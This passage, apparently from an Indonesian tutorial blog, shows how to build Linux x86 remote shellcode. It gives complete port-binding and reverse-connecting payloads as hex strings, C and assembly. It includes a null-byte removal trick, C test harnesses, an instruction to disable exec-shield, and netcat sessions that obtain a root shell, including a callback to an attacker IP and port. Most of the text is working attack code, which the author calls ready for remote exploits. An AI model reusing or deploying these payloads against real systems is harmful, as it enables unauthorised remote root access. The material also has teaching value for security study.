$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u -
00000000 31C0 xor eax,eax
00000002 31DB xor ebx,ebx
00000004 31D2 xor edx,edx
00000006 50 push eax
00000007 6A01 push byte +0x1
00000009 6A02 push byte +0x2
0000000B 89E1 mov ecx,esp
0000000D FEC3 inc bl
0000000F B066 mov al,0x66
00000011 CD80 int 0x80
00000013 89C6 mov esi,eax
00000015 52 push edx
00000016 6668095C push word 0x5c09
0000001A 42 inc edx
0000001B 42 inc edx
0000001C 6652 push dx
0000001E 89E1 mov ecx,esp
00000020 6A10 push byte +0x10
00000022 51 push ecx
00000023 56 push esi
00000024 89E1 mov ecx,esp
00000026 FEC3 inc bl
00000028 B066 mov al,0x66
0000002A CD80 int 0x80
0000002C 31D2 xor edx,edx
0000002E 52 push edx
0000002F 56 push esi
00000030 89E1 mov ecx,esp
00000032 B304 mov bl,0x4
00000034 B066 mov al,0x66
00000036 CD80 int 0x80
00000038 52 push edx
00000039 52 push edx
0000003A 56 push esi
0000003B 89E1 mov ecx,esp
0000003D FEC3 inc bl
0000003F B066 mov al,0x66
00000041 CD80 int 0x80
00000043 89C3 mov ebx,eax
00000045 31C9 xor ecx,ecx
00000047 B03F mov al,0x3f
00000049 CD80 int 0x80
0000004B 41 inc ecx
0000004C B03F mov al,0x3f
0000004E CD80 int 0x80
00000050 41 inc ecx
00000051 B03F mov al,0x3f
00000053 CD80 int 0x80
00000055 52 push edx
00000056 682F2F7368 push dword 0x68732f2f
0000005B 682F62696E push dword 0x6e69622f
00000060 89E3 mov ebx,esp
00000062 52 push edx
00000063 53 push ebx
00000064 89E1 mov ecx,esp
00000066 B00B mov al,0xb
00000068 CD80 int 0x80

Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.

Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.

1
2
3
4
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void) {
asm("jmp shellcode");
}
$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode

Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.

$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit

Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.

Membuat Reverse Connecting Shellcode

Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.

Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include 
#include

int main(void) {
char *shell[2];
int soc;
int remote;
struct sockaddr_in serv_addr;

serv_addr.sin_family=2; // internet address
serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14
serv_addr.sin_port=0x136A; // port 27155
soc = socket(2,1,0);
remote = connect(soc,(struct sockaddr*)&serv_addr,16);
dup2(soc,0);
dup2(soc,1);
dup2(soc,2);
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0],shell,0);
}

Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...

Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.

$ gcc reverse.c -o reverse
$ sudo ./reverse

Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit

Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.

Reverse Connecting dalam Assembly

Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.

BITS 32
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor edx,edx

;soc=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX = address of [2,1,0]
inc bl
mov al,102
int 0x80

; ESI = soc socket handler
mov esi,eax

;remote = connect(soc,(struct sockaddr*)&serv_addr,16);
push edx ; push 0
push long 0x0E00A8C0 ; push sin_addr.s_addr value
push word 0x136A ; push sin_port value
xor ecx,ecx ; ecx = 0
mov cl,2 ; cx = 2
push word cx ; push sin_family value
mov ecx,esp ; ECX = address of struct sockaddr
push byte 16 ; push 16
push ecx ; push address of struct sockaddr
push esi ; push soc handler
mov ecx,esp ; ECX = address of [soc,&serv_addr,16]
mov bl,3
mov al,102
int 0x80

; EBX = remote socket handler
mov ebx,esi

;dup2(soc,0)
xor ecx,ecx ; ECX = 0 = stdin file handler
mov al,63
int 0x80

;dup2(soc,1)
inc ecx ; ECX = 1 = stdout file handler
mov al,63
int 0x80

;dup(soc,2)
inc ecx ; ECX = 2 = stderr file handler
mov al,63
int 0x80

;execve "/bin//sh"
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.

$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o

Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Menghilangkan Byte Terlarang

Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode tersebut yang berasal dari instruksi “push long 0×0E00A8C0″. Byte 0×00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.

Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0×0E00 dan push 0xA8C0. Push nilai 0×0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh karena itu saya harus membuat nilai 0×0E00 tanpa melibatkan angka 00 dengan cara:

; DX = 0
mov dl,0x0E ; DX = 0x000E
shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00

Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push long 0×0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.

b2 0e                   mov    dl,0x0E
66 c1 e2 08 shl dx,8
66 52 push dx
66 68 c0 a8 push word 0xA8C0

Setelah mengganti “push long 0×0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void) {
asm("jmp shellcode");
}

Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.

$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode

Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit

Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.


Sumber : Here